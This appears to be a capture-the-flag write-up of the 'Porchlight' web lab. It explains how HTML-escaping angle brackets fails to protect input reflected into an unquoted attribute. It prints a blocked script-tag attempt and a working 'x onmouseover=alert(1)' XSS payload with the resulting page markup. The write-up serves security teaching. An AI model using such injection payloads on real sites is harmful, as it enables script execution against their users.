Porchlight

A tool library escapes angle brackets religiously. They just forgot the quotes.

Room Description

Porchlight — figure 1

https://dashboard.webverselabs-pro.com/challenges/porchlight

Scenario

Porchlight lends power tools to 300 neighborhood members. Their developer knows you're supposed to html-escape user input before putting it in a page. She did. The reflection happens to land inside an unquoted attribute — a context where html-escaping angles doesn't buy you anything.

Objective

A tool library escapes angle brackets religiously. They just forgot the quotes.

Initial Analysis

That’s already a huge hint:

  • < and > are escaped, that means no classic <script>
  • BUT unquoted attributes are still dangerous

Apparently, this is a community where people lend tools to each other? I haven't been in a nice neighbourhood in a while it seems since this sounds so foreign to me.

Porchlight — figure 2

There are no other endpoints besides:

<a class="pl-btn" href="/reserve-slip">Reserve a tool →</a>

and the dashboard doesn't have anything interesting on it.

Finding the bug

Well, let's go to the only place the web application is pointing us to!

/reserve-slip

Porchlight — figure 3

So we have three fields to fill out, let's check the form.

form class="pl-slip-form" method="post" action="/reserve-slip">
    <label class="pl-field">
      <span class="pl-field-label">Your name</span>
      <input name="member" required maxlength="80" autocomplete="off" placeholder="Jordan Pearce">
    </label>
    <label class="pl-field">
      <span class="pl-field-label">Tool</span>
      <input name="tool" required maxlength="120" autocomplete="off" placeholder="e.g. Makita 18V drill" list="pl-tool-options">
      <datalist id="pl-tool-options"><option value="18V drill/driver (Makita)">18V drill/driver (Makita)</option><option value="Circular saw 7-1/4&quot;">Circular saw 7-1/4&quot;</option><option value="Digging bar (6ft)">Digging bar (6ft)</option><option value="Wet/dry shop vac (12gal)">Wet/dry shop vac (12gal)</option><option value="Stud finder">Stud finder</option><option value="Orbital sander">Orbital sander</option><option value="Post-hole digger">Post-hole digger</option><option value="Reciprocating saw">Reciprocating saw</option><option value="Pipe wrench (24&quot;)">Pipe wrench (24&quot;)</option><option value="Tile-cutter (wet)">Tile-cutter (wet)</option></datalist>
    </label>
    <label class="pl-field">
      <span class="pl-field-label">Pickup date</span>
      <input name="pickup" type="date" required>
    </label>
    <button type="submit" class="pl-btn">Submit reservation</button>
  </form>

Okay, so let's try to input some values.

Porchlight — figure 4
Porchlight — figure 5

We even see a comment indicating what the vulnerability is.

Porchlight — figure 6

Exploitation

Now, from the frontend code after we sent our values we can see this line:

<input class="pl-slip-v-input" type="text" value=Stud finder readonly aria-label="reserved tool">

We know this is the entry point since there are unquoted values inserted, whilst for our name and pickup everything is fine.

   <span class="pl-slip-k">Member</span>  <span class="pl-slip-v">minatour</span>
    <span class="pl-slip-k">Pickup</span>  <span class="pl-slip-v">2026-04-29</span>
    <span class="pl-slip-k">Queue</span>   <span class="pl-slip-v">2 ahead of you</span>

as well as here:

  <form class="pl-slip-edit" method="post" action="/reserve-slip">
    <input type="hidden" name="member" value="minatour">
    <input type="hidden" name="tool"   value="Stud finder">
    <input type="hidden" name="pickup" value="2026-04-29">
    <button type="submit" class="pl-btn-ghost">Re-print slip</button>
  </form>

We can also try to close out value in the segment above with "> and input our own script tags, but it gets filtered:

<input type="hidden" name="member" value="&quot;&gt;&lt;script&gt;alert(0)&lt;/script&gt;">

So, back to our vulnerable code:

<input class="pl-slip-v-input" type="text" value=Stud finder readonly aria-label="reserved tool">

Since the value field is unquoted, we can add a space and include attributes to the value, so if we say give the following payload:

x onmouseover=alert(1)

when we hover over the value x, it has that attribute and code gets executed.

Plus, we have to make sure our payload is supplied in the "tools" field.

Porchlight — figure 7

And now whenever we hover over the x near tool, we get a popup.

    <input class="pl-slip-v-input" type="text" value=x onmouseover=alert(1) readonly aria-label="reserved tool">
    <span class="pl-slip-k">Member</span>  <span class="pl-slip-v">x onmouseover=alert(1)</span>
    <span class="pl-slip-k">Pickup</span>  <span class="pl-slip-v">2026-04-30</span>
    <span class="pl-slip-k">Queue</span>   <span class="pl-slip-v">2 ahead of you</span>
  </div>
  <form class="pl-slip-edit" method="post" action="/reserve-slip">
    <input type="hidden" name="member" value="x onmouseover=alert(1)">
    <input type="hidden" name="tool"   value="x onmouseover=alert(1)">
    <input type="hidden" name="pickup" value="2026-04-30">
    <button type="submit" class="pl-btn-ghost">Re-print slip</button>
  </form>